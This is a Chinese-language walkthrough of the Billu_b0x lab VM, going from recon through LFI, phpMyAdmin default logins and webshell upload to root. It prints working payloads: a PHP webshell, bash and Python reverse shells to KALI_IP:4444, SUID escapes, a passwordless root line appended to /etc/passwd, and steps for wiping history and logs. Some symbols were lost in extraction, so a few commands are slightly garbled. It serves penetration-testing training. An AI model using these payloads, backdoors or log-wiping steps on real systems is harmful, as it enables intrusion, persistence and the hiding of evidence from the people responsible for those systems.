Billu_b0x靶机渗透测试实战:从信息收集到权限提升完整指南
1. 项目概述为什么选择Billu_b0x作为渗透测试的“新手村”如果你刚刚接触渗透测试或者已经学了一些Kali Linux的基础命令但面对一个完整的靶机还是感觉无从下手那么Billu_b0x绝对是你理想的“第一战”。这个靶机在VulnHub上被标记为“初学者”级别但它绝不是那种一键就能拿下的“Hello World”。它巧妙地融合了信息收集、Web应用漏洞、文件包含、数据库注入以及权限提升等多个核心环节几乎覆盖了渗透测试标准流程PTES的前半部分。更重要的是它模拟了一个真实但又不那么复杂的Web应用环境让你能在一个相对安全、可控的沙箱里把书本上的理论变成肌肉记忆。我选择在VMware Workstation里搭建这个环境原因很简单稳定、隔离、可快照。对于新手来说最怕的就是把宿主机搞崩或者一次操作失败后需要从头再来。VMware的快照功能简直就是“后悔药”你可以在信息收集后、漏洞利用前、提权成功后分别保存一个快照随时回退到任意阶段重新尝试学习成本直线下降。而Kali Linux作为渗透测试的“瑞士军刀”其预装的工具链能让你专注于攻击逻辑本身而不是费劲地去配置环境。这次实战我们不只追求拿到那个最终的“root”或“shell”更重要的是理解每一步操作背后的“为什么”——为什么用这个工具为什么这个参数有效为什么这里会出错我会把我自己踩过的坑、绕过的弯以及那些只有亲手做过才会知道的细节毫无保留地分享出来。2. 环境搭建与网络配置构建稳固的攻防实验室工欲善其事必先利其器。一个稳定、隔离的测试环境是安全研究的前提任何在真实网络中的未授权测试都是非法且危险的。2.1 VMware虚拟机安装与基础配置首先你需要从VMware官网下载并安装VMware Workstation Pro。安装过程是图形化的跟着向导走即可这里不赘述。安装完成后我们重点讲几个对后续渗透测试至关重要的配置。网络适配器模式选择NAT模式创建虚拟机时网络连接我强烈推荐使用“NAT模式”。这是新手最容易上手且安全的模式。工作原理你的靶机和Kali虚拟机就像连接在同一个虚拟路由器后面它们可以互相通信也可以通过宿主机的网络出口访问互联网比如Kali需要更新工具库但外部网络无法直接访问到你的虚拟机。这完美模拟了一个内部网络环境。为什么不用桥接模式桥接模式会让你的虚拟机直接暴露在宿主机所在的物理局域网中获得一个独立的IP。如果你的家庭或公司网络有安全设备可能会触发警报。而且NAT模式下的IP段通常是固定的如192.168.xxx.xxx更容易记忆和配置。配置要点在VMware的“编辑” - “虚拟网络编辑器”中你可以查看和配置NAT网络的子网网段例如192.168.80.0。记住这个网段后续我们Kali和靶机的IP都会落在这个范围内。快照管理你的时光机这是VMware最强大的功能之一。我建议你建立三个关键快照纯净快照在安装完Kali和靶机系统但未进行任何配置和攻击之前创建。这是你的“出厂设置”。信息收集后快照在完成对靶机的扫描、端口探测、目录枚举之后创建。如果后续的漏洞利用搞乱了靶机状态可以快速回退到这里而无需重新扫描。GetShell后快照在成功获得一个初始立足点例如www-data权限的shell后创建。这样你可以反复练习权限提升的技巧而不用重走前面的漫漫长路。2.2 Kali Linux 2023.x 安装与优化从Kali官网下载最新的ISO镜像在VMware中新建虚拟机并加载它。安装过程选择“图形化安装”会更友好。有几个关键步骤需要注意磁盘分区对于学习用途直接使用“向导 - 使用整个磁盘”即可不需要手动复杂分区。软件选择在“选择软件”环节确保“Kali Linux 默认”被选中这会安装包括Metasploit、Nmap、Burp Suite等所有核心工具。如果磁盘空间紧张可以取消“Kali Linux 大礼包”但建议新手保持默认。用户设置务必记住你设置的非root用户密码。安装完成后系统会提示你用这个用户登录。在终端中你可以使用sudo su命令切换到root权限进行操作。安装后的首要优化更换国内软件源刚安装好的Kali默认软件源在国外更新和安装工具速度极慢甚至经常失败。第一步就是换源。# 备份原有源列表 sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak # 使用nano或vim编辑源列表这里以阿里云源为例 sudo nano /etc/apt/sources.list将文件内容替换为以Kali 2023为例deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib保存退出后执行更新sudo apt update sudo apt upgrade -y这个过程会更新系统所有软件包需要一些时间。完成后你的Kali就“健步如飞”了。2.3 Billu_b0x靶机下载与导入Billu_b0x的OVA文件可以从VulnHub官网下载。下载后在VMware中点击“文件” - “打开”选择下载的.ova文件。导入时建议将虚拟机存储位置改到一个空间充足的磁盘。一个关键避坑点网络适配器设置导入靶机后务必检查并确保其网络适配器也设置为“NAT模式”并且和Kali虚拟机在同一个自定义的NAT网络中在虚拟网络编辑器中查看。只有这样它们才能处于同一个网段互相发现。启动与首次登录启动Billu_b0x靶机。它通常是一个无图形界面的Linux系统启动后停留在登录提示符。你不需要知道它的登录密码我们的目标就是通过外部渗透来获取访问权限。你只需要知道它已经运行起来了。在虚拟机窗口里你可以看到它启动时可能显示的IP地址信息但更可靠的方法是从Kali里去发现它。3. 信息收集像侦探一样描绘目标轮廓渗透测试中信息收集往往决定了后续攻击的效率和成功率。这一步的目标是回答目标是谁它开放了哪些门端口门上挂着什么牌子服务牌子后面有什么房间目录3.1 网络发现找到靶机的IP地址由于我们和靶机都在同一个NAT网络首先需要发现靶机的IP。在Kali终端中最常用的工具是netdiscover或nmap扫描整个网段。方法一使用netdiscover进行ARP扫描sudo netdiscover -r 192.168.80.0/24这里的192.168.80.0/24需要替换成你在VMware虚拟网络编辑器中看到的NAT网段。netdiscover通过发送ARP请求来发现活跃主机速度非常快。在输出结果中你会看到除了你的Kali和宿主机之外的IP地址那个很可能就是Billu_b0x。记下这个IP假设为192.168.80.130。方法二使用nmap进行Ping扫描sudo nmap -sn 192.168.80.0/24-sn参数表示只进行主机发现Ping扫描不扫描端口。结果同样会列出在线主机。注意有时靶机可能禁用了Ping响应但ARP扫描依然有效。如果一种方法没找到可以尝试另一种。3.2 端口与服务探测摸清所有入口找到IP后下一步是进行全面的端口扫描看看靶机开放了哪些服务。我们使用Nmap的sV版本探测和sC默认脚本扫描参数来获取详细信息。sudo nmap -sV -sC -p- 192.168.80.130 -oN nmap_scan.txt-sV: 探测服务版本。-sC: 使用默认的Nmap脚本进行更深入的探测。-p-: 扫描所有65535个端口全端口扫描。对于CTF靶机有时关键服务会开在非常规端口。-oN nmap_scan.txt: 将扫描结果以标准格式输出到文件方便后续查看。扫描结果分析与预期对于Billu_b0x典型的扫描结果会显示开放了以下端口80/tcp (http): 运行着一个Web服务器通常是Apache。这是我们的主攻方向。22/tcp (ssh): 运行着SSH服务。这通常是权限提升或持久化访问的通道但初始攻击往往从Web入手。可能还有其他端口但80端口是突破口的关键。3.3 Web应用信息收集从首页到后台确定80端口开放后我们转向Web渗透。首先用浏览器直接访问http://192.168.80.130看看是什么网站。目录与文件枚举网站首页可能只是一个简单的登录页面或介绍页面。真正的漏洞往往隐藏在未链接的目录和文件中。我们需要使用工具进行暴力枚举。使用Gobuster这是目前速度很快的一款目录爆破工具。gobuster dir -u http://192.168.80.130 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -o gobuster_scan.txt-u: 目标URL。-w: 指定字典文件。dirb/common.txt是Kali自带的常用目录字典。-x: 指定尝试的文件后缀名。对于PHP靶机php后缀至关重要。-o: 输出结果到文件。使用Dirb另一款经典工具有时能发现Gobuster遗漏的内容。dirb http://192.168.80.130 /usr/share/wordlists/dirb/common.txt -o dirb_scan.txt分析枚举结果仔细查看扫描输出文件。对于Billu_b0x你可能会发现一些关键目录例如/phpmyadmin/: 数据库管理后台。这是非常常见的攻击面。/add.php,/show.php,/index.php: 网站的功能页面。/images/,/css/,/js/: 静态资源目录通常价值不大。/robots.txt: 这个文件有时会泄露敏感目录。务必访问查看。/test/或/backup/: 可能存在备份文件或测试页面。手动浏览与观察工具扫描的同时一定要手动点击网站的每一个功能。尝试登录、注册、搜索、上传等操作。用浏览器开发者工具F12查看网络请求和响应头关注Cookie和Session是否有明显的标识如PHPSESSID参数URL中的参数如?id1和表单提交的参数这些都是潜在的注入点。错误信息尝试输入一些异常数据如单引号‘看是否会返回数据库错误这直接提示存在SQL注入漏洞。注释和源码查看网页HTML源码开发者有时会在注释里留下账号密码或提示信息。4. 漏洞挖掘与利用突破边界获取初始访问信息收集完毕后我们手头有了目标IP、开放的Web服务、一系列可能的目录和页面。现在需要像拼图一样把这些信息组合起来找到那个最脆弱的点。4.1 Web入口点测试SQL注入与文件包含根据对Billu_b0x的普遍认知其突破口往往在index.php或show.php这类带参数的页面。寻找SQL注入点访问http://192.168.80.130/index.php或类似页面它可能有一个登录框。尝试经典的SQL注入Payload用户名输入admin or 11密码输入anything或者尝试万能密码admin #如果成功绕过登录说明存在SQL注入漏洞。但Billu_b0x的登录点可能做了防护。更常见的突破口文件包含(LFI)在枚举目录时你可能发现一个类似http://192.168.80.130/index.php?pagexxxx的URL。page参数很可能用于包含本地文件。这就是本地文件包含漏洞。基础测试尝试包含系统文件。http://192.168.80.130/index.php?page/etc/passwd如果页面上显示了/etc/passwd文件的内容列出了系统用户那么LFI漏洞确认存在。利用PHP封装器PHP的php://filter封装器可以读取PHP文件的源码这对于审计代码逻辑至关重要。http://192.168.80.130/index.php?pagephp://filter/convert.base64-encode/resourceindex.php这个Payload会以Base64编码的形式返回index.php的源代码。你需要将返回的一长串Base64字符串解码在Kali终端可以用echo “编码字符串” | base64 -d。审计源码通过LFI下载关键PHP文件的源码如config.php,connection.php,add.php等。在这些文件中你极有可能发现数据库的连接密码、其他功能的逻辑缺陷甚至是新的可利用参数。4.2 数据库攻防利用phpMyAdmin获取凭证在目录枚举中发现的/phpmyadmin/目录是另一个黄金入口。直接访问http://192.168.80.130/phpmyadmin/。默认凭据尝试尝试一些常见的默认用户名/密码组合root/rootroot/空密码admin/adminphpmyadmin/phpmyadmin对于Billu_b0x有很大概率可以使用root用户和空密码直接登录。登录后操作一旦进入phpMyAdmin你就拥有了对数据库的完全控制权。查看数据库左侧会列出所有数据库通常有一个与网站同名的数据库如billu。查看表点击进入该数据库查看里面的表。寻找类似users,admin,auth,customer这样的表名。提取凭据浏览这些表的内容。你很可能找到网站管理员的用户名和密码。密码通常是MD5哈希值。识别哈希MD5哈希是32位十六进制字符串如e10adc3949ba59abbe56e057f20f883e对应密码123456。破解哈希将找到的哈希值复制出来到在线MD5解密网站如cmd5.com或使用Kali的hashcat工具进行破解。如果密码强度不高很快就能得到明文。4.3 突破认证利用获取的凭证登录后台现在你手头可能有了从数据库里找到的明文密码或者通过LFI读取配置文件找到的密码。回到网站的登录页面可能是/admin/、/login.php或首页使用找到的用户名和密码尝试登录。登录成功后的观察成功进入后台后不要急于庆祝。仔细浏览后台的每一个功能模块文件上传有没有可以上传文件的地方这是获取Webshell的绝佳途径。系统设置/配置可能包含数据库密码、绝对路径等敏感信息。用户管理可能允许添加新用户或修改权限。命令执行/ Ping有些后台提供“网络诊断”功能可以执行系统命令如ping、traceroute这可能是命令注入点。对于Billu_b0x后台很可能存在一个文件上传功能并且对上传文件的类型检查不严格。5. 获取Shell上传Webshell与连接控制拿到后台权限后获取一个可交互的Shell是建立持久控制的关键一步。文件上传漏洞是实现这一目标的经典方式。5.1 制作与上传Webshell什么是WebshellWebshell是一段被上传到Web服务器目录下的脚本代码如PHP、JSP、ASP攻击者可以通过Web请求访问特定URL来远程执行服务器端的命令。制作PHP Webshell在Kali上最简单的Webshell就是一句话木马。创建一个文本文件命名为shell.php内容如下?php system($_GET[‘cmd’]); ?这段代码的意思是执行通过URL参数cmd传递过来的系统命令。例如访问http://靶机IP/shell.php?cmdid就会在页面上返回执行id命令的结果。绕过上传限制后台的上传功能通常会做检查前端检查通过JavaScript检查文件后缀名。直接在浏览器中禁用JavaScript即可绕过或者使用Burp Suite拦截修改请求。后端检查黑名单过滤禁止上传.php,.php5,.phtml等。可以尝试其他PHP可解析的后缀如.php3,.php4,.pht,.phps或者大小写混合如.Php。MIME类型检查检查HTTP请求头中的Content-Type。上传时用Burp Suite将其改为image/jpeg或text/plain。文件内容检查检查文件开头是否有?php等标签。可以在Webshell代码前添加图片的文件头GIF89a或文本注释来绕过或者使用混淆编码。实操上传在Billu_b0x的后台上传点选择制作好的shell.php文件进行上传。同时打开Burp Suite开启代理拦截功能。在浏览器中配置代理指向Burp如127.0.0.1:8080。点击上传按钮Burp会拦截到POST请求。在Burp的Proxy - Intercept标签页下查看被拦截的请求。找到上传文件的部分你可以尝试修改文件名shell.php-shell.php.jpg或shell.pHp。修改Content-Typeapplication/x-php-image/jpeg。点击“Forward”放行请求观察服务器的响应。如果返回了文件保存的路径如uploads/shell.php则上传成功。5.2 验证与执行命令在浏览器中访问上传的Webshell文件例如http://192.168.80.130/uploads/shell.php?cmdwhoami。 如果页面显示了当前Web服务的运行用户通常是www-data恭喜你你已经成功在目标服务器上执行了命令获得了非特权Shell的访问能力。升级到交互式Shell通过URL传递命令的Webshell功能有限输出格式也不友好。我们需要一个全功能的、交互式的Shell。使用Netcat监听在Kali上打开一个终端监听一个端口。nc -lvnp 4444-l监听-v详细输出-n不解析域名-p指定端口。通过Webshell反弹Shell访问Webshell执行一个能连接到Kali并启动Shell的命令。Linux下最常用的是bash反弹。http://靶机IP/uploads/shell.php?cmdbash -c ‘bash -i /dev/tcp/KALI_IP/4444 01’注意将KALI_IP替换为你Kali虚拟机的真实IP地址用ip a命令查看。这个命令的意思是在靶机上启动一个bash将其标准输入、输出、错误都重定向到与Kali的TCP连接上。接收Shell如果命令执行成功你会在Kali的Netcat监听终端看到连接建立并出现一个命令行提示符如www-databillu:/var/www/html/uploads$。现在你就获得了一个反向的、交互式的Shell。重要避坑技巧如果上述bash反弹命令失败可能是靶机系统没有/dev/tcp这个特殊设备或者防火墙限制。可以尝试其他方法使用Pythonpython -c ‘import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“KALI_IP”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([“/bin/bash”,”-i”]);’使用Perl/PHP/Netcat都有相应的单行反弹Shell代码。多准备几种Payload是实战中的好习惯。6. 权限提升从www-data到root拿到www-data用户的Shell只是万里长征第一步。这个用户权限很低无法查看敏感文件如/etc/shadow无法安装软件通常也无法进行横向移动。我们需要将权限提升到root即系统的最高管理员。6.1 信息收集为提权做准备在反弹的Shell中首先进行系统信息收集寻找提权线索。# 查看当前用户和权限 id whoami sudo -l # 非常重要查看当前用户可以以root身份无需密码运行哪些命令 # 查看系统内核版本 uname -a cat /etc/issue cat /proc/version # 查看安装了哪些软件特别是开发工具、语言环境 dpkg -l | grep -E ‘python|perl|gcc|g|make|ruby|php|java’ # Debian/Ubuntu rpm -qa | grep -E ‘python|perl|gcc’ # CentOS/RHEL # 查看计划任务 crontab -l ls -la /etc/cron* /var/spool/cron/ # 查看SUID/SGID文件重点 find / -perm -us -type f 2/dev/null find / -perm -gs -type f 2/dev/null # 查看可写的敏感文件或目录 find / -writable -type d 2/dev/null | grep -v proc | grep -v sys find / -perm -ow -type f 2/dev/null | grep -v proc | grep -v sys # 查看网络连接和进程 netstat -antup ps aux6.2 利用SUID二进制文件提权SUIDSet User ID是一种特殊的文件权限。当一个具有SUID权限的可执行文件被运行时它会以文件所有者的身份执行而不是执行者。如果find,vim,bash,cp,nmap等命令被设置了SUID且属于root就可能被滥用。经典案例利用find命令提权如果在信息收集中发现/usr/bin/find具有SUID权限-rwsr-xr-x中的swww-databillu:/$ find /etc/passwd -exec /bin/bash -p \;这个命令会以root权限启动一个bash shell-p参数用于保留特权。执行后输入whoami如果返回root则提权成功。其他SUID利用方法nmap旧版本如果安装了旧版nmap如2.02-5.21它有一个交互模式可以逃逸到shell。nmap --interactive !shvim/vi如果vim有SUID权限可以在编辑文件时执行系统命令。vim -c ‘:!/bin/bash’bash如果bash本身有SUID权限直接运行bash -p即可。6.3 利用内核漏洞提权如果系统内核版本较旧可能存在公开的本地提权漏洞。使用uname -a查看内核版本然后在Kali上搜索对应的漏洞利用代码Exploit。在Kali上查找Exploit可以使用searchsploit工具。# 在Kali的终端中 searchsploit linux kernel 3.13.0 ubuntu local privilege escalation将3.13.0和ubuntu替换成靶机系统的内核版本和发行版。复制Exploit到靶机找到合适的Exploit后需要将其传输到靶机上。由于靶机可能没有网络常用方法是在Kali上启动一个HTTP服务然后从靶机Shell里下载。Kali上python3 -m http.server 8000在Exploit所在目录执行。靶机Shell里wget http://KALI_IP:8000/exploit.c编译与执行Exploit通常是C语言代码需要在靶机上编译。gcc exploit.c -o exploit chmod x exploit ./exploit如果编译成功且漏洞存在执行后通常就会获得root shell。提权注意事项顺序尝试先检查sudo -l这是最干净的方式。然后检查SUID文件最后再尝试内核漏洞。内核漏洞利用可能造成系统不稳定甚至崩溃。备份意识在尝试具有破坏性的Exploit前最好回滚到“GetShell后快照”。理解原理不要只满足于运行脚本。尝试理解每个提权方法的原理比如SUID为什么危险内核漏洞利用了哪个CVE。7. 后渗透与痕迹清理可选在CTF或授权测试中获取root权限并读取/root/目录下的flag文件通常是proof.txt或root.txt就算任务完成。但在一个更完整的渗透测试思维中我们还需要考虑如何保持访问和清理痕迹。维持访问添加后门用户在/etc/passwd文件中添加一个具有root权限的用户。echo “backdoor::0:0:root:/root:/bin/bash” /etc/passwd这样可以使用用户名backdoor无需密码直接以root身份登录SSH。创建SSH密钥将你的公钥添加到/root/.ssh/authorized_keys文件中实现免密SSH登录。安装Web后门在Web目录的隐蔽位置放置一个更复杂的Webshell。清理痕迹清除命令历史清除当前用户的命令历史记录。history -c # 清除内存中的历史 rm ~/.bash_history # 删除历史记录文件清除日志删除或篡改记录了你攻击行为的日志文件如/var/log/auth.log,/var/log/apache2/access.log,/var/log/apache2/error.log等。使用sed或直接echo ‘’ logfile进行清理。注意时间戳修改文件会更新其时间戳mtime。更高级的清理需要使用touch命令将时间戳改回原样但这在CTF中通常不需要。8. 常见问题与排查技巧实录在这一部分我汇总了在整个Billu_b0x渗透过程中我自己和学员们最常遇到的“坑”以及排查思路。问题1Nmap扫描不到靶机IP。排查确认两台虚拟机Kali和Billu_b0x都已启动。在VMware中分别检查两台虚拟机的网络适配器设置确保都是NAT模式并且连接到同一个网络如“VMnet8”。在Kali中用ip a命令查看自己的IP确认其网段如192.168.80.128。然后用ping命令测试网关通常是192.168.80.2和广播地址192.168.80.255是否通。在Billu_b0x虚拟机启动时注意看屏幕上是否有打印IP地址。也可以尝试在Billu_b0x的登录界面即使你不知道密码尝试输入ip a命令有些系统允许在登录前查看网络信息。关闭宿主机的防火墙临时和VMware的虚拟网络防火墙设置。问题2目录爆破Gobuster/Dirb结果为空或很少。排查字典问题common.txt可能不够全面。尝试使用更大的字典如/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt。状态码过滤Gobuster默认会显示所有状态码。有些目录返回403禁止访问或302重定向它们也是存在的。使用-s参数指定状态码gobuster dir ... -s 200,204,301,302,307,403。速率限制目标网站可能有请求频率限制。使用-t参数减少线程数如-t 10。路径问题如果网站不是根目录需要指定正确的URL路径。问题3phpMyAdmin可以登录但找不到网站数据库或用户表。排查登录phpMyAdmin后注意看左侧数据库列表。可能数据库名不是常见的billu尝试点击每一个数据库查看。使用SQL命令直接查找。在phpMyAdmin的SQL标签页执行SHOW DATABASES; USE 数据库名; SHOW TABLES; SELECT * FROM 表名;表名可能不是users尝试admin,login,customer,auth,tbl_user等。密码可能不是MD5可能是其他哈希如SHA1甚至是明文。观察字段值的格式。问题4文件上传成功但访问时返回403、404或空白页。排查路径错误确认你访问的URL路径和上传成功后返回的路径完全一致。注意大小写。解析失败你上传的文件后缀可能没有被Web服务器如Apache配置为可执行。尝试.php,.php5,.phtml,.php7等多种后缀。查看Apache配置文件/etc/apache2/apache2.conf或/etc/apache2/sites-enabled/000-default.conf中的AddType指令。代码错误你的Webshell代码可能有语法错误或者被WAF/过滤机制拦截。尝试最简单的?php phpinfo(); ?测试PHP是否能够解析。权限问题上传的文件可能没有执行权限。在Shell中尝试chmod x shell.php如果能有办法执行命令的话。问题5反弹Shell命令执行了但Kali的Netcat没有收到连接。排查IP和端口错误这是最常见的原因。再三确认Kali的IP是否正确用ip a在Kali上看确认Netcat监听的端口是否和命令中的一致。命令语法错误特别是使用bash -c和重定向符号时引号容易出错。建议先将整个反弹命令在Kali本地测试bash -c ‘bash -i /dev/tcp/127.0.0.1/4444 01’同时在另一个终端用nc -lvnp 4444监听自己。靶机环境缺失靶机可能没有/dev/tcp或者bash版本不支持。换用Python、Perl、PHP或Netcat的反弹命令。出站限制靶机服务器可能有防火墙规则禁止向外发起连接到特定端口。尝试换一个高端口如44444。编码问题通过URL传递的复杂命令中的特殊字符如,,,空格需要URL编码。在浏览器地址栏直接输入时尤其要注意。更稳妥的方式是使用Burp Suite的Repeater模块或者将命令写入一个脚本文件然后通过Webshell执行该脚本。整个Billu_b0x的渗透流程走下来你会发现它就像一本精心设计的渗透测试教科书每一步都引导你去运用一个核心技能。从信息收集到漏洞利用再到提权环环相扣。我强烈建议你在完全掌握这个靶机后不要满足于一种方法尝试用不同的路径去达成目标比如不通过phpMyAdmin只利用LFI漏洞是否能拿到Shell这才是真正锻炼你解决问题能力的开始。记住工具和命令是死的渗透测试的思维是活的。每一次“踩坑”和“排坑”的过程都比顺利通关更能让你成长。